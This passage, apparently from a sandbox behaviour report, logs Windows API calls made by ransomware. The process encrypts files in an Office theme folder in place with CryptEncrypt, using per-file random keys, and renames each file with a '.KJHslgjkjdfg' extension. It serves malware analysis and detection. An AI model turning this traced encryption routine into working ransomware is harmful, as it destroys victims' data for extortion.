dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.756] GetProcessHeap () returned 0x990000 [0173.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.756] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.756] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0173.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.759] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.759] GetProcessHeap () returned 0x990000 [0173.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.759] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.759] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.759] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.759] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.759] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.759] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.759] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.760] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.760] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.760] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.760] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x166d5, lpOverlapped=0x0) returned 1 [0173.765] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x166e0, dwBufLen=0x166e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x166e0) returned 1 [0173.766] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.766] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x166e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x166e0, lpOverlapped=0x0) returned 1 [0173.766] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.766] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x167b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.766] SetEndOfFile (hFile=0x12c) returned 1 [0173.769] GetProcessHeap () returned 0x990000 [0173.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.769] GetProcessHeap () returned 0x990000 [0173.770] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.kjhslgjkjdfg")) returned 1 [0173.770] CloseHandle (hObject=0x12c) returned 1 [0173.771] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0173.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.772] GetProcessHeap () returned 0x990000 [0173.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.772] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.772] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.772] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0173.774] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.774] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.774] GetProcessHeap () returned 0x990000 [0173.774] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.774] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.774] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.774] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.774] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.774] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.774] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.774] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.775] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.775] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.775] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.775] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.775] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f4, lpOverlapped=0x0) returned 1 [0173.775] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200) returned 1 [0173.775] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.775] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x200, lpOverlapped=0x0) returned 1 [0173.775] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.775] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.775] SetEndOfFile (hFile=0x12c) returned 1 [0173.778] GetProcessHeap () returned 0x990000 [0173.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.778] GetProcessHeap () returned 0x990000 [0173.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.kjhslgjkjdfg")) returned 1 [0173.784] CloseHandle (hObject=0x12c) returned 1 [0173.784] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.784] GetProcessHeap () returned 0x990000 [0173.784] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.784] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.784] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.784] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0173.806] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.807] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.807] GetProcessHeap () returned 0x990000 [0173.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.807] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.807] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.807] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.807] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.807] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.807] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.807] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.808] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa0e, lpOverlapped=0x0) returned 1 [0173.808] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa10, dwBufLen=0xa10 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa10) returned 1 [0173.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.808] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa10, lpOverlapped=0x0) returned 1 [0173.808] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.808] SetEndOfFile (hFile=0x12c) returned 1 [0173.811] GetProcessHeap () returned 0x990000 [0173.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.811] GetProcessHeap () returned 0x990000 [0173.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.813] CloseHandle (hObject=0x12c) returned 1 [0173.813] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.814] GetProcessHeap () returned 0x990000 [0173.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.814] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.814] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.814] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.814] GetProcessHeap () returned 0x990000 [0173.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.814] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.814] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.815] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.078] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.078] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.078] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.078] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.078] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.078] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.078] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.078] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.079] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9240, lpOverlapped=0x0) returned 1 [0175.080] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9240, dwBufLen=0x9240 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9240) returned 1 [0175.080] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.080] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9240, lpOverlapped=0x0) returned 1 [0175.081] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.081] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.081] SetEndOfFile (hFile=0x12c) returned 1 [0175.084] GetProcessHeap () returned 0x990000 [0175.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.084] GetProcessHeap () returned 0x990000 [0175.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0175.088] CloseHandle (hObject=0x12c) returned 1 [0175.088] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0175.088] GetProcessHeap () returned 0x990000 [0175.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.088] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0175.088] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.088] GetProcessHeap () returned 0x990000 [0175.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0175.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.088] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0175.088] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.088] GetProcessHeap () returned 0x990000 [0175.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0175.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.088] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0175.089] CryptDestroyKey 